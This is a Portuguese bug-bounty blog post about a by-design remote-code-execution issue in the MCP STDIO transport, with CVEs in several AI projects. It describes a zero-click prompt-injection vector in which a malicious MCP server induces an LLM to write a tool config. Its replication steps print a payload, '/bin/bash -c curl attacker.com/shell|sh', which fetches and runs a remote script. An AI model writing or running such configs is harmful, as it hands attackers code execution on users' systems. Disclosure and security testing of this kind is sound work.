MCP STDIO: RCE by design, 7k+ servidores, Anthropic recusa fix
OX Security divulgou 15+ CVEs em LiteLLM, Flowise, Windsurf e mais 8 projetos AI via falha by-design no STDIO transport do MCP — Anthropic recusou alterar o protocolo, classificando o comportamento como 'expected'.
O root cause é o STDIO transport do MCP que executa comandos direto da configuração sem validação, afetando implementações em Python, TypeScript, Java e Rust com 150M+ downloads combinados. OX Security mapeou 4 vetores: command injection via config direto, bypass de hardening, zero-click prompt injection e injeção via MCP marketplaces. Com 7.000+ servidores expostos e Anthropic recusando mudança arquitetural, toda stack que embedda MCP segue vulnerável enquanto cada projeto não patcheia individualmente.
Contexto
MCP (Model Context Protocol) é o protocolo de Anthropic para conectar LLMs a ferramentas externas, adotado massivamente em 2025-2026 por LangChain, Flowise, LiteLLM e dezenas de projetos AI. O transport STDIO é o modo padrão de execução local — o host lê um arquivo de config JSON com os campos 'command' e 'args' e sobe o servidor MCP via subprocess. OX Security identificou que essa arquitetura delega execução de binários direto da config sem sanitização — um design choice que se propagou intacto por toda a ecossistema. A Anthropic foi notificada, recusou modificar o protocolo e devolveu a responsabilidade de mitigação para cada implementação.
Mecânica técnica
O STDIO transport parseia o JSON de config do servidor MCP e passa 'command'+'args' direto para subprocess.Popen (Python) ou child_process.spawn (Node) sem validação. Os 4 vetores documentados: (1) injection via config controlado pelo atacante — qualquer write primitiva sobre o arquivo MCP config vira RCE imediata; (2) bypass de hardening via config STDIO direta mesmo em deployments com restrições adicionais no runtime; (3) zero-click prompt injection — server MCP malicioso ou comprometido injeta no contexto do LLM um payload que induz criação de config com comando arbitrário; (4) supply chain via MCP marketplaces — pacotes publicados em diretórios como Smithery podem conter STDIO configs com binários maliciosos ativados na instalação. Patches disponíveis: LiteLLM (CVE-2026-30623), Bisheng (CVE-2026-33224), DocsGPT (CVE-2026-26015). Sem patch ainda: Agent Zero (CVE-2026-30624), Windsurf (CVE-2026-30615), Flowise (CVE-2026-40933).
O que a gente tira disso
Essa classe é ouro em qualquer SaaS AI que permite usuários configurar agentes com MCP servers customizados — se o plano pago aceita upload ou edição de config STDIO, o campo 'command' é o alvo. A maioria dos hunters está focada em prompt injection no chat e ignora completamente o layer de configuração de ferramentas. Programas com bounty ativo como LangChain, Flowise e similares têm superfície nova toda vez que adicionam suporte MCP. O vetor de maior impacto e menor cobertura ainda é o supply chain via marketplace (vetor 4) — um pacote malicioso publicado no Smithery que ativa STDIO RCE na instalação tem potencial de P1 em qualquer programa que consuma esses diretórios.
Como replicar em outros alvos
1. Grep por integração STDIO no codebase alvo: `grep -r 'StdioServerParameters\|stdio_server\|spawn.*command\|McpServer.*stdio' . --include='*.py' --include='*.ts'`
2. Audite o endpoint ou formulário que aceita config MCP — se o campo 'command'/'args' vem de user input sem allowlist, é direto RCE
3. Censys/Shodan: `services.http.response.html_title: MCP port: 3000,8080,8000` para instâncias públicas
4. Teste zero-click: verifique se o LLM pode ser instruído via tool call a escrever/editar o arquivo de config MCP; se sim, injete `{"command": "/bin/bash", "args": ["-c", "curl attacker.com/shell|sh"]}` via prompt
5. Audite pacotes em Smithery.ai e mcphub por configs STDIO com binários não-oficiais ou paths relativos suspeitos
Quer virar hunter de verdade? Curso do Ofjaaah.
Metodologia de quem já reportou 3 dígitos de vulnerabilidades em HackerOne, Bugcrowd e Intigriti. Do recon ao report pago — sem teoria inútil.
Ver curso →